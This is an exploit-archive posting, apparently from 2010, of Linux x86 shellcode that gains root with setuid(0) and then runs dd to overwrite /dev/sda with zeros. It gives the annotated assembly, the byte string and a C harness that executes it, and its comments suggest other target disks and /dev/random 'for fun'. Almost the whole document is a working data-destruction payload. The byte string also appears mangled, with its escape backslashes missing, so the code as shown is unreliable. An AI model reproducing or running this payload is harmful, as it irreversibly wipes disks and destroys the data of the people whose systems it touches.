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[linux/x86] - linux/x86 setuid(0) and dd of=/dev/sda if=/dev

Posted on 23 September 2010

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linux/x86 setuid(0) and dd of=/dev/sda if=/dev/zero shellcode 74 bytes
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 /*
  * Title : Linux x86 shellcode setuid(0) and dd of=/dev/sda if=/dev/zero, 74 bytes
  * Author : xertux
  * Platform: Linux X86 (7.04)
  * Description : setuid(0) + dd of=/dev/sda if=/dev/zero
  * Size : 74 bytes
  * Decription : Use the dd command, we can change of and if argument to create, modify and destroy datas. Here the sda	disk is format.
  * */

 /**
  *BITS 32
  *;Get root privileges
  *xor eax, eax
  *xor ebx, ebx
  *xor ecx, ecx
  *cdq
  *mov al, 0x17
  *int 0x80
  *;exceve(dd of=/dev/sda if=/dev/zero)
  *xor eax, eax      ; eax become 0
  *push eax          ; null string termination
  *push 0x64642f2f   ; push //dd
  *push 0x6e69622f   ; push /bin
  *mov ebx, esp      ; put the address of &quot;/bin//dd&quot; into ebx
  *push eax          ; push null string termination
  *push 0x6164732f   ; push /sda
  *push 0x2f766564   ; push dev/
  *push 0x2f3d666f   ; push of=/
  *mov ecx, esp      ; put the address of &quot;of=/dev//sda&quot; into ecx  ==&gt; you can change to another disk or any files
  *push eax          ; null string termination
  *push 0x6f72657a   ; push zero
  *push 0x2f766564   ; push dev/
  *push 0x2f3d6669   ; push if=/
  *mov edx, esp      ; put the address of &quot;if=/dev/zero&quot; into edx ==&gt; you can try with /dev/random, it&#039;s funny ^^
  *push eax          ; push null args termination
  *push edx          ; push &quot;if=/dev/zero&quot;
  *push ecx          ; push &quot;of=/dev//sda&quot;
  *push ebx          ; push /bin//dd
  *mov ecx, esp      ; argument array completed via esp
  *xor edx, edx
  *mov al, 0x0b      ; put the int execve call into al
  *int 0x80          ; system call
 */

#include &quot;stdio.h&quot;

 char shellcode[] = &quot;x31xc0x31xdbx31xc9x99xb0x17xcdx80x31xc0x50x68x2f&quot;
&quot;x2fx64x64x68x2fx62x69x6ex89xe3x50x68x2fx73x64x61&quot;
&quot;x68x64x65x76x2fx68x6fx66x3dx2fx89xe1x50x68x7ax65&quot;
&quot;x72x6fx68x64x65x76x2fx68x69x66x3dx2fx89xe2x50x52&quot;
&quot;x51x53x89xe1x31xd2xb0x0bxcdx80&quot;;;

 int main()
{
           printf(&quot; [*] Shellcode - length: %d
&quot;,strlen(shellcode));
           (*(void(*)()) shellcode)();
           return 0;
}




# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-23]</pre></body></html>

 

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